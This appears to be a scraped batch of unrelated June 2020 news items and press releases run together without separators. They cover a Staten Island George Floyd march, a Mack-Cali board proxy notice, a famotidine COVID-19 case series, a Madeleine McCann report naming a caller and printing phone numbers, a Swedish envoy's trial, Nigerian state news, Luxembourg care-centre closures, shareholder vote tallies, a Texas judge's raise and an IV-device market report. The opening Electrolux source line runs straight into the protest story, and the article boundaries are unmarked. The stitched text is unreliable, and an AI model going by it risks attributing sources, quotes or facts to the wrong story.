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https://mb.cision.com/Main/1853/3128155/1259439.pdf Release https://news.cision.com/electrolux/i/jonas-samuelson-at-un-in-september-2019,c2793423 Jonas Samuelson at UN in September 2019

SOURCE Electrolux
STATEN ISLAND, N.Y. -- In a dramatic scene and one of the biggest demonstrations on Staten Island in recent history, several hundred civil-rights activists took to the streets Friday morning, peacefully marching from Concord to the NYPDs 122nd Precinct stationhouse in New Dorp where they rallied in response to George Floyds death.

The NYPD rode ahead and alongside the marchers to shut down traffic along the route, which included Targee Street, Richmond Road, Old Town Road and Hylan Boulevard, which was blocked Tottenville-bound from Old Town to the stationhouse.

A crowd of about 200 began the march, but it easily doubled in size along the way, with as many as 500 taking part. Participants could be heard inviting residents to join them along the way.

Mike Animodi, 24, of Mariners Harbor, a member of Young Leaders of Staten Island and an organizer of the march, said the theme of the day was unity and community.

The community is Staten Island, he said. We are trying to understand and spread that theres a disconnect between the community and the police. We have to educate ourselves and take actions to make change.

The participants began assembling a little after 11 a.m., on Targee Street as leaders went into Home Depot to buy batteries for their megaphones and loudspeakers.

They began marching around 12:25 p.m. and reached the stationhouse an hour later.

Activists chanted no justice, no peace, no racist police" and hands up, dont shoot as they made their way along the route.

They chanted the names of Floyd, Eric Garner, Ernest Sayon and Breonna Taylor, black men and women who died in police custody.

BREAKING: Giant protest across Staten Island in memory of George Floyd Posted by Staten Island Advance on Friday, June 5, 2020

Once at the stationhouse, speakers took turns addressing those packed onto Hylan Boulevard, where they remained until about 2:50 p.m.

Remember this is a peaceful protest, Animodi said at the stationhouse. No agitators or provokers are welcome here. If that is your mission, please take the next left."

With all these people here, young people, we are the present and the future. All colors are here, black, white, green, yellow, individuals who care about justice peacefully marching from the North Shore to the South Shore -- give yourselves a round of applause, said Shereese Mullings, a member of Young Leaders of Staten Island.

Although mostly somber in remembrance of those who died at the hands of police, activists and supporters remained optimistic -- at one point briefly dancing and singing in unison.

ALONG THE ROUTE

When they turned onto Hylan Boulevard from Old Town, another organizer, Isaiah Buffong, 21, who was profiled on SILive.com Thursday, issued an impassioned plea to the group.

This is the longest walk were about to take right now, he said, warning about the people who might "come down and try to antagonize us as the group got farther from the more diverse North Shore.

Were not  were not -- going to engage, he said. This is peace. We want peace.

Scores of motorists honked their horns and held their fists out the window in support.

At Hylan and Buel Avenue in Dongan Hills, a woman blew kisses to the group.

While there were no major encounters with agitators, in at least one instance, a motorist was seen flashing the middle finger.

At around Hylan and Lincoln Avenue, an onlooker cursed at marchers and some of the marchers swore back.

Several business owners on Hylan could be seen rolling their security gates down as the group passed, saying they were fearful of looting.

The demonstration was organized in response to the death of Floyd, who died in Minneapolis during an arrest. Video showed a cop kneeling on his neck for several minutes before his death.

Floyd can be heard screaming I cant breathe, in the video, in a scene similar to Garners death in Tompkinsville in 2014.

Minneapolis authorities filed charges against four officers in connection with Floyds death, including a second-degree murder charge against Derek Chauvin, who was caught on video pressing his knee to Floyds neck.

VOICES FROM THE MARCH

Protesters of all ages gathered to show their support, but the movement belonged to young activists.

Its something that can affect everyone, white, black, Latino, everyone, said Clement Yhap of Concord. We still believe America is the greatest nation in the world. We have to have community come together. When people think of America, they think of somewhere that is welcoming and accepting of all -- we are trying to promote that.

Yhap was joined by his daughter, Kristine, 15.

We need to remain consistent, or were not going to get anywhere, she said." We can fix our country to be a much better place. All we are asking is for justice, and we will get that if we are consistent."

One man who identified himself as Jessie and said he was a Marine Corps veteran, marched carrying a flag upside down.

Every flag in this country should be flown upside down because this country is in distress, he said.

He later added: To all my fellow veterans, you took an oath to protect Americans from all threats, foreign and domestic. What happened was domestic. You should be getting involved.

Rep. Max Rose (D-Staten Island/Brooklyn) took part in the march with his wife and baby.

Staten Islands youth are leading an incredibly powerful, peaceful movement for justice in honor of George Floyd, Breonna Taylor, and so many black lives that have been lost due to senseless acts of violence, he said on Twitter. Leigh, Miles and I were proud to march with them today.

In one brief dramatic moment, one person appeared to faint outside the stationhouse.

EMS quickly moved in with a stretcher to tend to the woman, who was conscious.
JERSEY CITY, N.J., June 5, 2020 /PRNewswire/ -- Mack-Cali Realty Corporation (NYSE: CLI) ("Mack-Cali" or the "Company") today announced that based on the guidance of shareholders, the Company has modified its slate of candidates standing for election to the Board of Directors at the Company's Annual Meeting of Stockholders, scheduled for June 10, 2020 (the "Annual Meeting"). The Company's slate now includes eight nominees, only three of whom have previously served on the Mack-Cali Board. Additionally, each of the Mack-Cali Board's incumbent director nominees - Lisa Myers, Laura Pomerantz and Rebecca Robertson  was elected in the last four years. The Company's CEO, Michael J. DeMarco, Alan S. Bernikow, and Dr. Irvin D. Reid, each of whom is an incumbent Mack-Cali director, will not seek reelection at the 2020 Annual Meeting. Mr. DeMarco will remain as the Company's CEO.

The current Mack-Cali Board Chair, Governance Committee Chair and Audit Committee Chair are not standing for election, ensuring significant change in the Board's leadership.

"Mack-Cali is open-minded and responsive to feedback, and this new slate is reflective of shareholders' desire for continued and accelerated Board refreshment," said Lisa Myers, Independent Director of the Mack-Cali Board, on behalf of the Board. "We believe that shareholders wanted confidence that the Board would comprise fresh faces and be fully independent of management and our revised slate reflects the feedback we have heard. Our shareholders have also highlighted the importance of preserving the independence of the Board, preventing a change of control, and allowing for new perspectives while maintaining important continuity of experience. We are focused on ensuring that the Board includes truly independent directors who are committed to advancing the interests of all shareholders, so that the Company can continue to successfully execute its strategy to maximize value for all investors."

Mack-Cali's slate of eight candidates includes five new nominees with highly relevant skill sets, deep experience in the public REIT space, and public company experience from across various industries. All of Mack-Cali's eight nominees are independent of the Company's management, directors and the Mack family.

Every vote counts. Mack-Cali urges fellow shareholders to vote "FOR" the Company's director nominees by internet, phone or on the WHITE proxy card sent by mail. Additionally, given the virtual format of this year's Annual Meeting, shareholders have the opportunity to vote by ballot as opposed to by individual proxy card by attending the virtual Annual Meeting. This will provide shareholders the opportunity to choose their own slate of eleven director nominees from the director nominees on both the WHITE and gold cards.

Registered shareholders may register to attend the virtual Annual Meeting by visiting https://www.CESVote.com and entering the control number printed on their WHITE proxy card. Beneficial shareholders may register to attend the virtual Annual Meeting by sending an email to [email protected] and attaching the legal proxy obtained from their bank or broker custodian. After registering, and upon verification of their ownership, shareholders will receive an email prior to the Annual Meeting with a link and instructions for entering the virtual Annual Meeting. Shareholders must register to attend the virtual Annual Meeting no later than 5:00 p.m. EDT, on Monday, June 8, 2020.

Additional information about Mack-Cali's highly qualified nominees and other materials related to the annual meeting can be found at www.VoteWhiteForMack-Cali.com.

Your Vote Is Important, No Matter How Many or How Few Shares You Own You can vote by Internet, telephone or by signing and dating the WHITE proxy card

and mailing it in the envelope provided. If you have any questions about how to vote your shares,

or need additional assistance, please contact: MACKENZIE PARTNERS, INC. 1407 Broadway

New York, New York 10018

[email protected]

Call Collect: (212) 929-5500

or

Toll-Free (800) 322-2885 REMEMBER:

We urge you NOT to vote using any Gold proxy card sent to you by Bow Street,

as doing so will revoke your vote on the WHITE proxy card.

About Mack-Cali Realty Corporation

One of the country's leading real estate investment trusts (REITs), Mack-Cali Realty Corporation is an owner, manager and developer of premier office and multifamily properties in select waterfront and transit-oriented markets throughout New Jersey. Mack-Cali is headquartered in Jersey City, New Jersey, and is the visionary behind the city's flourishing waterfront, where the company is leading development, improvement and place-making initiatives for Harborside, a master-planned destination comprised of class A office, luxury apartments, diverse retail and restaurants, and public spaces.

A fully integrated and self-managed company, Mack-Cali has provided world-class management, leasing, and development services throughout New Jersey and the surrounding region for two decades. By regularly investing in its properties and innovative lifestyle amenity packages, Mack-Cali creates environments that empower tenants and residents to reimagine the way they work and live.

For more information on Mack-Cali Realty Corporation and its properties, visit www.mack-cali.com.

Forward Looking Statements



Statements made in this communication may be forward-looking statements within the meaning of Section 21E of the Securities Exchange Act of 1934, as amended. Forward-looking statements can be identified by the use of words such as "may," "will," "plan," "potential," "projected," "should," "expect," "anticipate," "estimate," "target," "continue," or comparable terminology. Such forward-looking statements are inherently subject to certain risks, trends and uncertainties, many of which the Company cannot predict with accuracy and some of which the Company might not even anticipate and involve factors that may cause actual results to differ materially from those projected or suggested. Readers are cautioned not to place undue reliance on these forward-looking statements and are advised to consider the factors listed above together with the additional factors under the heading "Disclosure Regarding Forward-Looking Statements" and "Risk Factors" in the Company's Annual Report on Form 10-K, as may be supplemented or amended by the Company's Quarterly Reports on Form 10-Q, which are incorporated herein by reference. The Company assumes no obligation to update or supplement forward-looking statements that become untrue because of subsequent events, new information or otherwise, except as required under applicable law.

Important Additional Information and Where to Find It

This communication may be deemed to contain solicitation material in respect to the solicitation of proxies from the Company's stockholders in connection with the Annual Meeting. The Company has filed with the Securities and Exchange Commission (the "SEC") and mailed to its stockholders a definitive proxy statement and accompanying WHITE proxy card in connection with the Annual Meeting. The definitive proxy statement contains important information about the Company, the Annual Meeting and related matters. Stockholders may obtain a free copy of the definitive proxy statement and other documents that the Company files with the SEC on the SEC's website, at www.sec.gov. INVESTORS AND STOCKHOLDERS ARE URGED TO READ THE DEFINITIVE PROXY STATEMENT, THE ACCOMPANYING WHITE PROXY CARD AND ANY OTHER RELEVANT SOLICITATION MATERIALS BECAUSE THESE DOCUMENTS WILL CONTAIN IMPORTANT INFORMATION.

Certain Information Regarding Participants

Mack-Cali and certain of its directors and executive officers are participants in the solicitation of proxies from the Company's stockholders in connection with the Annual Meeting. Information regarding the names of these directors and executive officers and their respective interests in the Company as of the date of this communication is set forth in the definitive proxy statement filed by the Company for the Annual Meeting. The definitive proxy statement and any other documents filed by the Company with the SEC may be obtained by investors and stockholders free of charge on the SEC's website at www.sec.gov. Copies will also be available at no charge on the Company's website at https://www.mack-cali.com.

Contacts: Michael J. DeMarco

Mack-Cali Realty Corporation

Chief Executive Officer

(732) 590-1589

[email protected] Deidre Crockett

Mack-Cali Realty Corporation

Chief Administrative Officer

(732) 590-1025

[email protected]



Proxy Solicitor:

Lawrence E. Dennedy

MacKenzie Partners, Inc.

(212) 929-5500

[email protected] Media Contacts:

Viveca Tress / Lucas Pers

Joele Frank, Wilkinson Brimmer Katcher

(212) 355-4449

SOURCE Mack-Cali Realty Corporation

Related Links

https://www.mack-cali.com


A patient-reported symptom tracking method used for patients with cancer has now been adapted for patients with COVID-19. Investigating the effect of famotidine, a potential treatment for COVID-19, on non-hospitalized patients with COVID-19, clinicians at Northwell Health and cancer researchers at Cold Spring Harbor Laboratory (CSHL) developed the method to use in addition to laboratory tests. This outpatient approach addresses the need to care for the majority of COVID-19 patients who do not require hospitalization. The first clinical case series showed that famotidine may help patients with mild to moderately severe symptoms from COVID-19. Next, the team will test the drug in a randomized clinical trial.

Published in the journal GUT, the Northwell-CSHL case series is unique in its adaptation of quantitative tracking of patient-reported outcome measures. The methodology is suitable for testing drugs in patients well enough to be managed at home and allows the recruitment of diverse subjects via community-based health organizations and individual practitioners.

The lead author of the study, CSHL Assistant Professor Tobias Janowitz, is a Medical Oncologist and a Cancer Researcher, who investigates the whole-body causes and effects of diseases. "The experience of a patient at one point in time is very valuable, but learning about the change in their experience over time is even more important," says Janowitz. "Change indicates if the patients' condition is getting better or worse. A graded symptom score enables the physician and the patient to track symptoms using numbers."

Observing that for COVID-19, most symptomatic people do not require hospitalization, Janowitz and colleagues developed a 4-point scale for six common COVID-19 associated symptoms that patients score every day. Janowitz simplifies how the scale can help track the course of a patient's disease:

"You may call up your doctor and say, I have headaches and shortness of breath, and am only able to do the basics for self-care, which would be grade 3 symptoms. If you still had the symptoms two days later, but are now able to do light work, these symptoms would now be scored at grade 2. This approach makes it very easy for you and your doctor to document that your symptoms are improving. The value of this approach from a research perspective is that experiences from many patients become comparable and can be pooled for analysis."

If a drug speeds recovery, then most patients will report more rapid improvement of symptoms.

The innovations in this study are the product of scientists and physicians who never expected to work on a pandemic infection. But the collaborative, multidisciplinary approach is a hallmark of the strategic research affiliation between CSHL and the academic physicians at Northwell Health. Chief, General Internal Medicine, Northwell Health and Professor at the Feinstein Institutes, and a co-author on the study, Joseph Conigliaro says:

"There are a lot of things that we were doing that worked well in how we address this pandemic. I'm a health services addiction researcher. I didn't think I'd ever be the person who would be studying this pandemic and this virus. And Tobias does cancer research. What we did is we used our existing tools and talents that were not specifically geared towards studying a viral pandemic, but we used it and modified it in ways that were very, very helpful."

CSHL Professor David Tuveson, Director of the CSHL Cancer Center and another co-author, is interested in the broader implications of the patient-oriented research approach as a way to better connect science and healthcare. CSHL's commitment to bridging the gap between research and the clinic is evident in an initiative championed by Janowitz to study how disease impacts the entire body. Tuveson says:

"You're trying to scientifically assess a symptom, is what you're really doing. Tobias and his colleagues can look at the whole body while they study cancer. And so Tobias is someone who thinks about the big picture of health. He's basically shifting his approach to solving complex problems to COVID-19 and he started by saying 'how can we describe one patient relative to the next?'"

Janowitz agrees, "It seems reasonable to me to make that extension to this healthcare crisis and to acknowledge that we can learn a lot from the individual who has the disease as long as we find a way to make it quantifiable."

Once validated, the patient-reported symptom tracking method will be a key component in a clinical trial that is "double-blind," meaning that neither patient nor doctor know whether the patient is getting the test drug or a placebo until the trial is completed. Without a double-blind clinical trial and a careful scientific examination of the mechanism of action of a drug and its side effects, it is impossible to rule out that the preliminary findings were due to factors other than the drug. The early findings of this case series were communicated to co-author Dr. Timothy Wang at Columbia University Medical Center. Interestingly, Dr. Wang and colleagues were also able to find an association between famotidine usage and the improved outcomes of patients hospitalized for COVID-19. Based on the findings in the case series, a double-blind clinical trial of famotidine is the next step in the joint plan of the Northwell-CSHL team. Other treatments may also be explored.

Conigliaro explains why he is hopeful that the study will work as designed to find drugs that will be effective against COVID-19:

"We had about a thousand patients that we tracked in our practices, just in my couple of academic practices, that never made it to the hospital. And my Doc's were calling them every day and asking all those questions: 'Do you have aches and pains? Do you have fever today? How's your breathing today?' We didn't know what their blood levels were. We didn't know what their oxygen levels, because we didn't have access to that. So these surrogate measures are very common and the best way to assess what's going on in the outpatient. I'm actually pretty confident. I think there'll be another surge but I think we'll be much better prepared and I think that hopefully lives will be saved."

###

About Cold Spring Harbor Laboratory

Founded in 1890, Cold Spring Harbor Laboratory has shaped contemporary biomedical research and education with programs in cancer, neuroscience, plant biology and quantitative biology. Home to eight Nobel Prize winners, the private, not-for-profit Laboratory employs 1,100 people including 600 scientists, students and technicians. For more information, visit http://www.cshl.edu.

About the Feinstein Institutes

The Feinstein Institutes for Medical Research is the research arm of Northwell Health, the largest healthcare provider and private employer in New York State. Home to 50 research labs, 2,500 clinical research studies and 5,000 researchers and staff, the Feinstein Institutes raises the standard of medical innovation through its five institutes of behavioral science, bioelectronic medicine, cancer, health innovations and outcomes, and molecular medicine. We make breakthroughs in genetics, oncology, brain research, mental health, autoimmunity, and are the global scientific leader in bioelectronic medicine - a new field of science that has the potential to revolutionize medicine. For more information about how we produce knowledge to cure disease, visit feinstein.northwell.edu.
The mystery caller who spoke with the new Madeleine McCann suspect minutes before she was abducted has been named as Diogo Silva by Portuguese media.

German paedophile Christian Brueckner chatted with the caller for 30 minutes on the night the three-year-old went missing from her family's villa in the resort of Praia da Luz.

Scotland Yard took the unusual step of releasing two mobile telephone numbers as part of their latest appeal to end the 13 year mystery.

The first number +315 912 730 680 is believed have been used by the prime suspect. He received a call from another Portuguese number + 351 916 510 683 while in the Praia de Luz area.

The call started at 7.32pm and ended at 8.02pm.

German paedophile Christian Brueckner spoke with the caller for 30 minutes on the night the three year old went missing from her family's villa in the resort of Praia da Luz

Diogo Silva may have key information on the movements of prime suspect Christian Brueckner (pictured)

Just over two hours later when Kate McCann went back to the villa from the tapas bar where she and husband Gerry had been dining with friends she discovered her daughter missing.

Silva's name was published by the Portuguese newspaper Jornal de Noticias.

Police have received over 200 calls and emails from members of the public since their appeal and naming a German currently jailed on a rape charge as the focus of their inquiry.

They are now liaising with Portuguese police to locate and interview Silva to see what he might know about Brueckner's movements on the night Madeleine went missing.

His evidence could prove crucial in the investigation as he could provide a vital timeline to the 43-year-old paedophile's movements.

Silva might also have information about Brueckner's plans to rob holiday apartments, one of his sources of incomes while living on the Algarve.

Witnesses have claimed they saw two blonde men walking near to the apartment where Madeleine was taken.

Madeleine McCann who vanished from the resort of Praia da Luz in Portugal in May 2007, while on holiday with her family

Madeleine vanished from this holiday apartment in the popular Portuguese holiday resort of Praia da Luz - Apartment 5a - while her parents were with friends nearby and regularly checking on their three sleeping children

A Netflix documentary last year revealed more about the pair in an interview with another holidaymaker, Jayne Jensen.

She told the documentary crew the moment her sister pointed out two blond men hanging around near the Ocean Club on May 3. This was the final sighting before Madeleine vanished.

Jayne said: '[My sister] was walking just slightly in front of me and then she stopped and looked back at me and motioned with her head.

'I caught up with my sister and said, 'What was that about?' She said, 'Well, two single blond men on their own', which made me chuckle. But they were wrongly placed.

'And that was that, until later that day when we had heard that Madeleine was taken, it was only then, piecing back  who were these guys?'

Reports at the time said there had also been a big increase in burglaries in the resort, peaking the month before Madeleine disappeared. Two break-ins were in the same block as her family's apartment.

And an intruder carried out one on April 16 after knocking on the door and asking for the 'German family'.

In 2009 police put out an new artist's impression of a 'very ugly' man seen by a British tourist as he apparently watched the apartment the day before she vanished.
RTHK: Trial begins of Swedish envoy over Gui Minhai case

Sweden's former ambassador to China went on trial in Stockholm on Friday accused of overstepping her mandate and risking national security by trying to negotiate the release of Hong Kong bookseller Gui Minhai.

Anna Lindstedt faces up to two years in prison if she is convicted of brokering an unauthorised meeting in January last year when she was ambassador.

She was trying to secure the freedom of Chinese-born Swedish citizen Gui, who was one of five Hong Kong booksellers who were kidnapped in 2015.

Gui has been in jail or under house arrest on the mainland ever since.

Lindstedt, a former envoy in both Vietnam and Mexico who acted as Sweden's chief negotiator at the 2015 climate summit in Paris, denies the charge.

Prosecutor Henrik Olin laid out his case during Friday's hearing, telling the court: "Anna Lindstedt was at the time Sweden's ambassador to China, but acted outside the bounds of the mandate she had for the consular case."

He said the crime had endangered Sweden's peaceful relations to China.

But defence lawyer Conny Cedermark replied that the only part of the prosecution's description his client agreed with was that "Anna Lindstedt at the time was Sweden's ambassador in China".

Gui disappeared while on holiday in Thailand in 2015 before resurfacing in mainland China, where he was put in jail.

A few months after his October 2017 release he was again arrested, this time while he was on a train to Beijing with Swedish diplomats.

In February this year, he was given 10 years in jail on charges of illegally providing intelligence abroad.

Lindstedt helped organise a meeting between Gui's daughter, Angela Gui, and businessmen with ties to Beijing.

Angela Gui wrote in February 2019 on her blog about a "strange experience" where Lindstedt had invited her to Stockholm in January.

During discussions in the lounge of a hotel in the Swedish capital, in the presence of Lindstedt, she was introduced to the businessmen who claimed they could help secure her father's release.

In exchange, Angela Gui said she was told she "needed to be quiet" and to "stop all media engagement", and later described the tone of the meeting as "threatening".

Sweden's intelligence service launched an investigation after reports of the meeting emerged.

The foreign ministry subsequently removed Lindstedt from her post but she has stayed on at the foreign ministry without an assignment.

The foreign ministry has meanwhile maintained that it had no prior knowledge of the meeting, saying Lindstedt acted of her own accord.

Parts of the trial, which is set to run until June 22, will be held behind closed doors because of national security. (AFP)

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
Ayodele Fayose, the immediate former governor of Ekiti state has taken to his official Twitter handle to mourn the demise of Bamidele Olumilua, the former governor of old Ondo State.Fayose in his tweet lamented that Ekiti and Nigeria have lost a very upright and courageous leader.

Babajide Sanwo-Olu, governor of Lagos, has given the go-ahead for worship centres to resume in the state on June 19. Sanwo-Olu said this during an ongoing press briefing at government house, Marina, Lagos, on Thursday.

According to the governor, Muslim services will resume on June 19, while Christian worship centre will reopen on June 21, as other regular services, including night vigils, must be put on hold.

David Umahi, Ebonyi State Governor, has shut down all government offices in the state with immediate effect for them to be disinfected.

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According to the governor, it became necessary after some Executive Council members tested positive for COVID-19. Umahi gave the directive in a statement by the Commissioner for Information and State Orientation, Orji Uchenna Orji.

Willie Obiano, Governor of Anambra State has announced a N10,000 penalty for any state resident who fails wear a face mask as a precaution against the novel coronavirus.

Obiano admonished traders to obey the new Covid-19 rules or markets would be shut down again.The governor stated this in a statewide broadcast.

Embattled governor of Edo state, Godwin Obaseki claims he helped his predecessor, Adams Oshiomhole when he contested the state gubernatorial poll in 2007 and had money.

Speaking with newsmen on Wednesday, he added that not only did he assist him in becoming governor, he also played a key role in ensuring his emergence as the national chairman of the ruling All Progressive Congress

The federal government has lamented that the coronavirus pandemic has dealt a heavy blow on its revenue.

Speaking shortly after the federal executive meeting on Wednesday, Lai Mohammed, the minister for culture and information added that the problem is not peculiar to Nigeria alone.

The Obaro of Kabba, HRM Dele Owoniyi has cried out that the community can not survive the two weeks imposed on it by the state government.

He made this known while appealing yo the state governor, Yahaya Bello to relax the lockdown on the community.

The house of representatives has said it will not accept castration of persons convicted of rape.

The lawmakers during their plenary on Thursday, debated a motion on the increased sexual violence against women particularly the rape and murder of two girls in Oyo and Edo states recently.

James Falake from Lagos state had suggested castration as punishment for rapists as suggested by James Faleke
Patients displaying symptoms commonly associated with Covid-19 are encouraged to contact their GP or head to a hospital emergency room.

The advanced care centres in Esch-Belval (at Rockhal) and in Kirchberg will permanently close their doors on 8 June. The temporary care centres were built after the pandemic broke out in Luxembourg.

The advanced care centres in Ettelbruck and Grevenmacher already closed last week.

The Ministry of Health explained in a statement that patients displaying coronavirus symptoms should contact their GP or go to an emergency room at one of Luxembourg's hospitals.

Around 9,100 patients were treated at the care centres since they opened after the outbreak of the pandemic. 17,500 coronavirus tests were carried out at the centres. 181 patients were transferred to the hospital because they were already displaying severe virus symptoms.

The centre in Esch-Belval welcomed the most patients, followed by Luxexpo in Kirchberg and the care facility in Ettelbruck.
TORONTO, June 04, 2020 (GLOBE NEWSWIRE) -- Gran Colombia Gold Corp.s (TSX: GCM, OTCQX: TPRFF) Annual General and Special Meeting of Shareholders was held today. The detailed results of the votes for each matter to be acted upon are set out below:



Item Description of matter Outcome Voted Voted (%) 1. Fixing the number of directors at seven Approved 26,740,883 For

4,176 Against 99.98%

0.02% 2. The election of the following individuals as directors of the Corporation to hold office until the next annual meeting of the Corporation or until their successors are appointed or elected: Serafino Iacono Approved 25,508,557 For

1,236,502 Withheld 95.38%

4.62% Miguel de la Campa Approved 26,731,031 For

14,028 Withheld 99.95%

0.05% De Lyle Bloomquist Approved 26,690,633 For

54,428 Withheld 99.80%

0.20% Monica De Greiff Approved 26,710,336 For

34,723 Withheld 99.87%

0.13% Hernan Juan Jose Martinez Torres Approved 26,702,992 For

42,067 Withheld 99.84%

0.16% Robert Metcalfe Approved 25,561,710 For

1,183,349 Withheld 95.58%

4.42% Jaime Perez Branger Approved 23,838108 For

2,906,951 Withheld 89.13%

10.87% 3. Appointing KPMG LLP as auditors of the Corporation at a remuneration to be fixed by the directors. Approved 31,743,210 For

29,923 Withheld 99.91%

0.09% 4. Reapproval of the Stock Option Plan of the Corporation which fixes the maximum aggregate number of shares reserved for issuance under the plan at 9% of the issued and outstanding common shares of the Corporation. Approved 23,827,999 For

2,917,060 Against 89.09%

10.91% 5. Approval of a special resolution authorizing the exercise or conversion by 2176423 Ontario Ltd. and any of its associates and affiliates of up to 1,786,958 warrants and the corresponding issuance of up to 1,786,958 common shares by the Corporation, as more particularly described in the Management Information Circular. Approved 26,564,617 For

180,442 Against 99.32%

0.68%

About Gran Colombia Gold Corp.

Gran Colombia is a Canadian-based mid-tier gold producer with its primary focus in Colombia where it is currently the largest underground gold and silver producer with several mines in operation at its high-grade Segovia Operations. Gran Colombia owns approximately 74% of Caldas Gold Corp., a Canadian mining company currently advancing a prefeasibility study for a major expansion and modernization of its underground mining operations at its Marmato Project in Colombia. Gran Colombias project pipeline includes its Zancudo Project in Colombia together with an approximately 21% equity interest in Gold X Mining Corp. (TSXV: GLDX) (Guyana  Toroparu) and an approximately 20% equity interest in Western Atlas Resources Inc. (Western Atlas) (TSX-V: WA) (Nunavut  Meadowbank).

Additional information on Gran Colombia can be found on its website at www.grancolombiagold.com and by reviewing its profile on SEDAR at www.sedar.com .
Despite facing a challenge budget year, Montgomery County commissioners approved a raise in a split vote for Associate Judge Paul Damico to correct an oversight from the countys 2020 fiscal year.

Presented in court by 9th state District Judge Phil Grant May 26, Grant said the Montgomery County Board of Judges was bringing the issue back after being asked to table it during the countys budget workshops last year.

Judge Damico works for the criminal courts, as you know he reports to seven of us, Grant said. Thats not always an easy thing to do.

The courts action increased Damicos salary $8,433.62 to $132,470 annually.

However, while supportive of Damico, both County Judge Mark Keough and Precinct 3 Commissioner James Noack voted against the raise.

Not many people in the county that work as hard as Judge Damico, Noack said. I think it is a bad time and my vote has nothing to do with his ability or my confidence in him. I think he is a fantastic employee but I cant for yes for one person and no for everyone else.

I think it is a bad time for county employees to be seeking raises when there are so many people hurting in our county.

Keough agrees.

I echo what Commissioner Noack said, Keough said. From my perspective  it is hard for me to move in this direction given the needs we have in the county.

Grant supported the commissioners concerns but said Damico, who started as an associate judge in 2010, efforts in the last year along with his role in setting up a virtual court docket for defendants who have not bonded out of jail warrant the pay bump.

Sometimes he is covering three or four dockets at a time, Grant said. He works exceptionally hard for the board of judges. He really deserves to be at the same level as the other administrative judges.

Most recently, Damico along with Montgomery County Defense Bar Chairman Jo Ann Linzer, Montgomery County District Clerk Melisa Miller, Montgomery County Assistant District Attorney Donna Berky, Lt. Jeremiah Richards with the Montgomery County Sheriffs Office and Montgomery County Chief Deputy Darin Bailey, created the virtual docket for defendants at the jail amid the COVID-19 pandemic when many businesses and government offices were closed.

The law requires us to get defendants before a magistrate within 24 when possible, Grant explained adding that process could not be put on hold for COVID-19. He has gone (to the jail) every day for 10 years except when he is on vacation, for those folks who have not bonded out. Its an essential part of the process.

With equipment from MCSO and the DAs office, the courtroom at the jail was transformed into a virtual courtroom with a computer and camera to allow Damico to hold court each morning with defendants. Its a process, Grant said, the court system in the county hopes to continue indefinitely.

Damico said he couldnt have done the project without Linzer, Miller, Richards, Berky and Bailey.

I cant take all the credit, he said noting the group met for a brainstorming session. We had an hour-long discussion on what each department did and how we could get it done.

Linzer, who began researching options in March as COVID-19 case began to ramp up, said the virtual court is critical.

The virtual court process is important for criminal defendants because it allows us to continue to uphold their Constitutional rights during a pandemic, she said. A defendant has a constitutional right to an attorney to assist in his or her defense as well as a right to due process. Without the ability to meet during a crisis, the defendant would be deprived of those rights.

Richards, who oversees the jail, said the process has reduced inmate anxiety because the process allows them more contact with their attorneys and boosts safety with fewer people going in and out of the jail daily.

In addition to the virtual docket, which can but used by any judge and any court, Damico said three rooms at the jail have been set up with iPads to allow defendants to have confidential discussions with their clients.

To see our government coming together, work together and come up with an effective efficient way to keep things running, made me feel good about being a citizen of Montgomery County, Richards said.

The feedback from the defense bar, Linzer noted, is very supportive of videoconferencing and virtual court proceedings.

Zoom is great for communicating, Damico said. The way everyone came together was fantastic.

cdominguez@hcnonline.com
The global IV fluid monitoring devices market is expected to grow by USD 1,210.92 million as per Technavio. The report also provides the market impact and new opportunities created due to the COVID-19 pandemic.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200605005346/en/

Technavio has announced its latest market research report titled Global IV Fluid Monitoring Devices Market 2020-2024 (Graphic: Business Wire)

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Market estimates include pre- and post-COVID-19 impact on the IV fluid monitoring devices market Request free sample pages

The global IV fluid monitoring devices market is expected to witness an upsurge due to the spread of COVID-19. The extension of containment efforts is leading to increased demand, which is leading to higher revenue growth for market players. Also, the prices are expected to remain elevated for the short term due to lower production caused by shutdowns.

Technavio's custom research reports offer detailed insights on the impact of COVID-19 at an industry level, a regional level, and subsequent supply chain operations. This customized report will also help clients keep up with new product launches in direct indirect COVID-19 related markets, upcoming vaccines and pipeline analysis, and significant developments in vendor operations and government regulations.

https://www.technavio.com/report/iv-fluid-monitoring-devices-market-industry-analysis

The market is driven by an increase in the number of hospitalizations. In addition, the emergence of smart infusion therapy devices is anticipated to boost the growth of the IV fluid monitoring devices market.

The growing global population and the rising prevalence of various acute and chronic diseases have increased the number of hospitalizations across the world. For instance, in 2018, about seven out of 10 people in the US had at least one chronic disease such as cancer, heart disease, stroke, and diabetes. In addition, the rapid spread of the COVID-19 pandemic has increased the need for intravenous access devices which are crucial in providing medication and fluids to hospitalized patients. Also, the high influx of patients increases the chances of errors in monitoring fluid transfusions. Hence, end-users are increasingly adopting IV monitoring devices to ensure patient safety. These devices use IR sensors, RF transmitters, receivers, and buzzers to inform the control room either to change the intravenous set or to switch it off. With the rising number of hospitalizations, the growth of the global IV fluid monitoring devices market will gain momentum during the forecast period.

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Major Five IV Fluid Monitoring Devices Companies:

B. Braun Melsungen AG

B. Braun Melsungen AG operates its business through segments such as B. Braun Hospital Care, B. Braun Aesculap, B. Braun Out Patient Market, and B. Braun Avitum. The company offers various automated infusion systems such as Perfusor Space, Infusomat space, and SpaceControl.

Baxter International Inc.

Baxter International Inc. operates its business through segments such as the Americas, EMEA, and APAC. The company offers a wide range of IV fluid monitoring devices. Some of its key offerings include Spectrum IQ Infusion System and Baxter FloGard 6201.

Becton, Dickinson and Co.

Becton, Dickinson and Co. operate its business through segments such as BD Medical, BD Life Sciences, and BD Interventional. The company offers BD Alaris Pump Module. It is a large volume infusion pump that continuously or intermittently delivers fluids, medications, blood and blood products to adult, pediatric, and neonatal patients.

Fortive Corp.

Fortive Corp. operates its business through segments such as Professional Instrumentation and Industrial Technologies. The company offers IDA-1S Analyzer through its subsidiary, Fluke Biomedical. It is a portable, high-performance infusion device analyzer designed for on-the-go testing.

ICU Medical Inc.

ICU Medical Inc. operates its business through a unified segment. The company offers the Plum 360 Infuser. It is a large volume infuser capable of delivering fluids for a variety of therapies such as parenteral, enteral, or epidural infusions. The Plum 360 infuser can deliver fluids over a broad range of infusion rates and is capable of Concurrent delivery from one or more rigid or flexible fluid containers

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IV Fluid Monitoring Devices Market End-user Outlook (Revenue, USD Million, 2020-2024)

Hospitals and clinics

ASCs

Home care

IV Fluid Monitoring Devices Market Geographic Outlook (Revenue, USD Million, 2020-2024)

North America

Europe

Asia

